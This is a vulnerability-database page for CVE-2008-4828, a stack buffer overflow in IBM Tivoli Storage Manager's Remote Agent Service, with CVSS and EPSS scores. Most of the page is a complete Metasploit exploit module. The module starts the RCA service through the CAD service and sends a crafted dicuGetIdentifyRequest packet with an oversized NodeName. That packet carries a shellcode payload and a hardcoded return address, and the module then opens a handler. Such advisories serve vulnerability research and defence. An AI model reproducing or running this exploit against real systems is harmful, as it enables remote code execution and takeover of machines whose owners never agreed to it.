CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple stack-based buffer overflows in dsmagent.exe in the Remote Agent Service in the IBM Tivoli Storage Manager (TSM) client 5.1.0.0 through 5.1.8.2, 5.2.0.0 through 5.2.5.3, 5.3.0.0 through 5.3.6.4, and 5.4.0.0 through 5.4.1.96, and the TSM Express client 5.3.3.0 through 5.3.6.4, allow remote attackers to execute arbitrary code via (1) a request packet that is not properly parsed by an unspecified "generic string handling function" or (2) a crafted NodeName in a dicuGetIdentifyRequest request packet, related to the (a) Web GUI and (b) Java GUI.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
78.1%
–
–
2023-03-12
–
–
–
96.51%
–
2023-06-25
–
–
–
96.15%
–
2023-08-13
–
–
–
96.12%
–
2023-09-24
–
–
–
96.63%
–
2023-10-29
–
–
–
96.63%
–
2023-12-17
–
–
–
96.53%
–
2024-01-28
–
–
–
96.34%
–
2024-02-25
–
–
–
96.34%
–
2024-03-10
–
–
–
96.17%
–
2024-04-14
–
–
–
95.38%
–
2024-06-02
–
–
–
95.68%
–
2024-06-30
–
–
–
95.36%
–
2024-08-04
–
–
–
95.14%
–
2024-09-01
–
–
–
94.99%
–
2024-10-13
–
–
–
95.46%
–
2024-11-17
–
–
–
95.79%
–
2024-12-22
–
–
–
90.06%
–
2025-01-19
–
–
–
90.06%
–
2025-03-18
–
–
–
–
77.42%
2025-03-18
–
–
–
–
77.42,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ibm_tsm_rca_dicugetidentify.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote
Client Agent service. By sending a "dicuGetIdentify" request packet containing a long
NodeName parameter, an attacker can execute arbitrary code.
NOTE: this exploit first connects to the CAD service to start the RCA service and obtain
the port number on which it runs. This service does not restart.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2008-4828' ],
[ 'OSVDB', '54232' ],
[ 'BID', '34803' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => true,
'Payload' =>
{
# wchar_t buf[1024];
'Space' => ((1024*2)+4),
'BadChars' => '\x00',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# this target should be pretty universal..
# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2009'))
register_options( [ Opt::RPORT(1582) ], self.class )
end
def make_tsm_packet(op,data)
pkt = ""
if op > 0xff
pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')
else
pkt << [data.length,op,0xa5].pack('nCC')
end
pkt << data
end
def explode_tsm_packet(buf)
return nil if buf.length < 4
len,op,magic = buf[0,4].unpack('nCC')
return nil if magic != 0xa5
if op == 0x08
return nil if buf.length < 12
op,len = buf[4,8].unpack('NN')
data = buf[12,len]
else
data = buf[4,len]
end
return op,data
end
def extract_port(buf)
op,data = explode_tsm_packet(buf)
if op != 0x10300
print_error("Invalid response verb from CAD service: 0x%x" % op)
return nil
end
if data.length < 6
print_error("Insufficient data from CAD service.")
return nil
end
port_str_len = data[4,2].unpack('n')[0]
if data.length < (24+port_str_len)
print_error("Insufficient data from CAD service.")
return nil
end
rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
end
def exploit
print_status("Trying target %s..." % target.name)
# first get the port number
query = [1].pack('n')
query << "\x00" * 10
data = make_tsm_packet(0x10200, query)
connect
print_status("Attempting to start the RCA service via the CAD service...")
sock.put(data)
buf = sock.get_once(-1, 10)
disconnect
rca_port = extract_port(buf)
if not rca_port or rca_port == 0
print_error("The RCA agent service was not started :(")
else
print_status("RCA Agent is now running on port %u" % rca_port)
end
# trigger the vulnerability
copy_len = payload_space + 4
sploit = rand_text(33)
# start offset, length
sploit[10,4] = [0,copy_len].pack('n*')
# data to copy
buf = payload.encoded
# we need this special encoding to make it work..
buf << [target.ret].pack('V').unpack('v*').pack('n*')
# adjustment :)
sploit << buf
data = make_tsm_packet(0x10400, sploit)
connect(true, { 'RPORT' => rca_port })
print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
sock.write(data)
print_status("Starting handler...")
handler
disconnect
end
end